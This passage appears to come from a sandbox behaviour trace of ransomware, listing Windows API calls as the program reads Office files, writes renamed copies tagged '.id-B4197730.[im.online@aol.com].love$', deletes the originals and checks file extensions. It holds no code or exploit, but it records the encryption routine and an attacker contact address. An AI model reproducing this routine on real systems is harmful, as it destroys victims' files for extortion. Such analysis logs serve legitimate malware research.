Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.556] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.556] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0116.557] GetLastError () returned 0x0 [0116.557] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0116.559] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0116.560] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0116.560] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0116.561] SetEndOfFile (hFile=0x344) returned 1 [0116.561] CloseHandle (hObject=0x344) returned 1 [0116.564] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.564] SetEndOfFile (hFile=0x354) returned 1 [0116.566] CloseHandle (hObject=0x354) returned 1 [0116.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0116.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.567] lstrlenW (lpString=".doc") returned 4 [0116.567] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.567] lstrlenW (lpString=".docx") returned 5 [0116.567] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.567] lstrlenW (lpString=".pdf") returned 4 [0116.567] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.567] lstrlenW (lpString=".xls") returned 4 [0116.567] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.567] lstrlenW (lpString=".xlsx") returned 5 [0116.567] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.567] lstrlenW (lpString=".ppt") returned 4 [0116.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.567] lstrlenW (lpString=".zip") returned 4 [0116.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.567] lstrlenW (lpString=".rar") returned 4 [0116.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.567] lstrlenW (lpString=".bz2") returned 4 [0116.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.567] lstrlenW (lpString=".7z") returned 3 [0116.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.567] lstrlenW (lpString=".dbf") returned 4 [0116.568] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.568] lstrlenW (lpString=".1cd") returned 4 [0116.568] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.568] lstrlenW (lpString=".jpg") returned 4 [0116.568] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.568] lstrlenW (lpString=".doc") returned 4 [0116.568] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.568] lstrlenW (lpString=".docx") returned 5 [0116.568] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.568] lstrlenW (lpString=".pdf") returned 4 [0116.568] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.568] lstrlenW (lpString=".xls") returned 4 [0116.568] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.568] lstrlenW (lpString=".xlsx") returned 5 [0116.568] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.568] lstrlenW (lpString=".ppt") returned 4 [0116.568] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.568] lstrlenW (lpString=".zip") returned 4 [0116.568] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.568] lstrlenW (lpString=".rar") returned 4 [0116.568] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.569] lstrlenW (lpString=".bz2") returned 4 [0116.569] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.569] lstrlenW (lpString=".7z") returned 3 [0116.569] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.569] lstrlenW (lpString=".dbf") returned 4 [0116.569] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.569] lstrlenW (lpString=".1cd") returned 4 [0116.569] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0116.569] lstrlenW (lpString=".jpg") returned 4 [0116.569] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.569] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0116.569] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53 [0116.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.570] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3375) returned 1 [0116.570] CloseHandle (hObject=0x354) returned 1 [0116.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0116.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.571] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.571] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0116.572] GetLastError () returned 0x0 [0116.572] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xd2f, lpOverlapped=0x0) returned 1 [0116.574] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xd30, lpOverlapped=0x0) returned 1 [0116.575] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0116.576] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0116.576] SetEndOfFile (hFile=0x344) returned 1 [0116.576] CloseHandle (hObject=0x344) returned 1 [0116.581] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.581] SetEndOfFile (hFile=0x354) returned 1 [0116.884] CloseHandle (hObject=0x354) returned 1 [0116.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0116.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.885] lstrlenW (lpString=".doc") returned 4 [0116.886] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.886] lstrlenW (lpString=".docx") returned 5 [0116.886] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.886] lstrlenW (lpString=".pdf") returned 4 [0116.886] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.886] lstrlenW (lpString=".xls") returned 4 [0116.886] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.886] lstrlenW (lpString=".xlsx") returned 5 [0116.886] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.886] lstrlenW (lpString=".ppt") returned 4 [0116.886] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.886] lstrlenW (lpString=".zip") returned 4 [0116.886] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.886] lstrlenW (lpString=".rar") returned 4 [0116.886] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.886] lstrlenW (lpString=".bz2") returned 4 [0116.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.886] lstrlenW (lpString=".7z") returned 3 [0116.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.886] lstrlenW (lpString=".dbf") returned 4 [0116.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.886] lstrlenW (lpString=".1cd") returned 4 [0116.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.886] lstrlenW (lpString=".jpg") returned 4 [0116.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.887] lstrlenW (lpString=".doc") returned 4 [0116.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.887] lstrlenW (lpString=".docx") returned 5 [0116.887] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.887] lstrlenW (lpString=".pdf") returned 4 [0116.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.887] lstrlenW (lpString=".xls") returned 4 [0116.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.887] lstrlenW (lpString=".xlsx") returned 5 [0116.887] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.887] lstrlenW (lpString=".ppt") returned 4 [0116.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.887] lstrlenW (lpString=".zip") returned 4 [0116.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.887] lstrlenW (lpString=".rar") returned 4 [0116.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.887] lstrlenW (lpString=".bz2") returned 4 [0116.887] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.887] lstrlenW (lpString=".7z") returned 3 [0116.887] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.887] lstrlenW (lpString=".dbf") returned 4 [0116.888] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.888] lstrlenW (lpString=".1cd") returned 4 [0116.888] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0116.888] lstrlenW (lpString=".jpg") returned 4 [0116.888] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.888] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0116.888] lstrlenW (lpString="AG00011_.GIF") returned 12 [0116.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.890] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=7216) returned 1 [0116.890] CloseHandle (hObject=0x354) returned 1 [0116.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0116.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.890] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.890] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0116.891] GetLastError () returned 0x0 [0116.891] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x1c30, lpOverlapped=0x0) returned 1 [0116.893] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1c40, lpOverlapped=0x0) returned 1 [0116.894] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0116.894] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0116.895] SetEndOfFile (hFile=0x374) returned 1 [0116.895] CloseHandle (hObject=0x374) returned 1 [0116.906] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.906] SetEndOfFile (hFile=0x354) returned 1 [0116.908] CloseHandle (hObject=0x354) returned 1 [0116.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0116.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.909] lstrlenW (lpString=".doc") returned 4 [0116.909] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0116.909] lstrlenW (lpString=".docx") returned 5 [0116.909] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0116.909] lstrlenW (lpString=".pdf") returned 4 [0116.909] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0116.909] lstrlenW (lpString=".xls") returned 4 [0116.909] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0116.909] lstrlenW (lpString=".xlsx") returned 5 [0116.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0116.909] lstrlenW (lpString=".ppt") returned 4 [0116.909] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0116.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.909] lstrlenW (lpString=".zip") returned 4 [0116.909] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0116.909] lstrlenW (lpString=".rar") returned 4 [0116.909] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0116.910] lstrlenW (lpString=".bz2") returned 4 [0116.910] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0116.910] lstrlenW (lpString=".7z") returned 3 [0116.910] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0116.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.910] lstrlenW (lpString=".dbf") returned 4 [0116.910] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0116.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.910] lstrlenW (lpString=".1cd") returned 4 [0116.910] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0116.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.910] lstrlenW (lpString=".jpg") returned 4 [0116.910] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0116.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.910] lstrlenW (lpString=".doc") returned 4 [0116.910] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0116.910] lstrlenW (lpString=".docx") returned 5 [0116.910] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0116.910] lstrlenW (lpString=".pdf") returned 4 [0116.910] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0116.910] lstrlenW (lpString=".xls") returned 4 [0116.910] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0116.910] lstrlenW (lpString=".xlsx") returned 5 [0116.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0116.911] lstrlenW (lpString=".ppt") returned 4 [0116.911] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0116.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.911] lstrlenW (lpString=".zip") returned 4 [0116.911] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0116.911] lstrlenW (lpString=".rar") returned 4 [0116.911] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0116.911] lstrlenW (lpString=".bz2") returned 4 [0116.911] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0116.911] lstrlenW (lpString=".7z") returned 3 [0116.911] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0116.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.911] lstrlenW (lpString=".dbf") returned 4 [0116.911] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0116.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.911] lstrlenW (lpString=".1cd") returned 4 [0116.911] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0116.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0116.911] lstrlenW (lpString=".jpg") returned 4 [0116.911] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0116.911] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0116.912] lstrlenW (lpString="AG00021_.GIF") returned 12 [0116.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.912] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=14873) returned 1 [0116.912] CloseHandle (hObject=0x354) returned 1 [0116.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 